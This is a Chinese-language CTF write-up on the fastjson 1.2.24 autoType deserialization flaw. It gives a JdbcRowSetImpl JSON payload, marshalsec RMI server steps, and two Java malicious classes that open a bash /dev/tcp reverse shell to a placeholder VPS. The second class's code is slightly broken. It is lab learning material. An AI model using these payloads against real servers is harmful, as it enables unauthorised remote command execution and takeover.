一、fastjson 1.2.24 反序列化导致任意命令执行漏洞
简介:
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
优点:
- 速度快:fastjson相对其他JSON库的特点是快,从2011年fastjson发布1.1.x版本之后,其性能从未被其他Java实现的JSON库超越
- 使用广泛:fastjson在阿里巴巴大规模使用,在数万台服务器上部署,fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一
环境要求:
- JDK小于 1.9 ,这里用到的 openjdk version “1.8.0_272”(一定不要用高版本的不然会复现不出来)
- 靶机Ubuntu
- VPS
- 工具: marshalsec-0.0.3-SNAPSHOT-all.jar
影响版本:
- fastjson<=1.2.24
FastJson 接口简单易用,已经被广泛使用在缓存序列化、协议交互、web输出、Android 客户端等多种应用场景。但是,从诞生之初,fastjson就多次被曝出存在反序列化漏洞,并且每次都和 autoType 有关。
二、autoType
2.1 为什么fastjson要使用autoType?
对于json框架来说,想要把java对象转换成字符串,可以有两种选择:
- 基于属性
- 基于 setter/getter
但是fastjson并没有使用java自带的序列化机制,而是自定义了一套机制。
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit = fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}
//测试类
import com.alibaba.fastjson.JSON;
public class Client {
public static void main(String[] args) {
Store store = new Store();
store.setName("siii0");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println(jsonString);
}
}
可以看到Apple类并不在其中,那么反序列化之后能否恢复呢?
Store newStore = JSON.parseObject(jsonString,Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
报错了,也就是说,当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型
所以这个时候,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来
//只需修改这句
//String jsonString = JSON.toJSONString(store);
String jsonString = JSON.toJSONString(store, SerializerFeature.WriteClassName);
2.2 AutoType何错之有?
因为有了AutoType的功能,那么fastjson在反序列化的时候,就会读取到@type的内容,试图把JSON内容反序列化为这个对象,并且会调用该对象的setter方法
那么攻击者就可以利用这个特性,自己构造一个字符串,并且使用@type指定一个自己想要使用的攻击类库。
举个例子:黑客比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl
,这是sun官方提供的一个类库,这个类的dataSourceName
支持传入一个rmi的源,当解析这个uri时,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
而fastjson在反序列化的时候会调用对象的setter方法,这样黑客就能使用这个类库传入自己想要执行的命令,例如:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
三、解题过程
进入题目,获得一些Json数据:
使用BP抓包,修改请求类型(POST)后:
显示缺少请求体,于是构造一串json数据发送,返回了相同的内容:
这里直接放上playload,这是rmi服务器需要加载的恶意类:
import java.lang.Runtime;
import java.lang.Process;
public class Touch {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash","-c", "bash -i >& /dev/tcp/vps/port 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后在该目录使用python部署:
接下来使用工具marshalsec
搭建rmi服务器
我们借助工具marshalsec
,启动一个rmi服务器,监听9999端口,并指定加载远程类TouchFile.class
:
然后向靶场服务器发送playload,带上rmi服务器的ip,这样就能执行TouchFile.class
中的代码了
照理说,这里就能成功反弹shell,可是rmi服务器都没有任何响应
最后这里验证了一下该漏洞是否存在:
发送playload:
刷新dnslog:
说明该漏洞还是存在的,但是不知道为什么不成功
更新
终于发现原因了,靶机在外网(我在bmzctf做的),而我的虚拟机在内网无法被外网访问。。。
所以我把攻击的环境部署到vps上,再试一次,成功了T.T
//换了一个playload,也学习一下java的反弹shell
public class Exploit{
//构造方法
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/VPS的IP/6666 0>&1"});
public static void main(String[] args) throws Exception {
}
}
发送playload前:
发送playload后:
fastjson指纹识别
当我们在做渗透测试的时候,抓包的时候返回的流量内容存在json格式时,我们就可以想它是不是使用了fastjson库
接着我们进一步判断:
1、根据报错信息判断
发送一个post请求,发送的数据为未闭合的花括号,如果服务器没有屏蔽报错信息则会报出fastjson的信息
2、利用dnslog盲打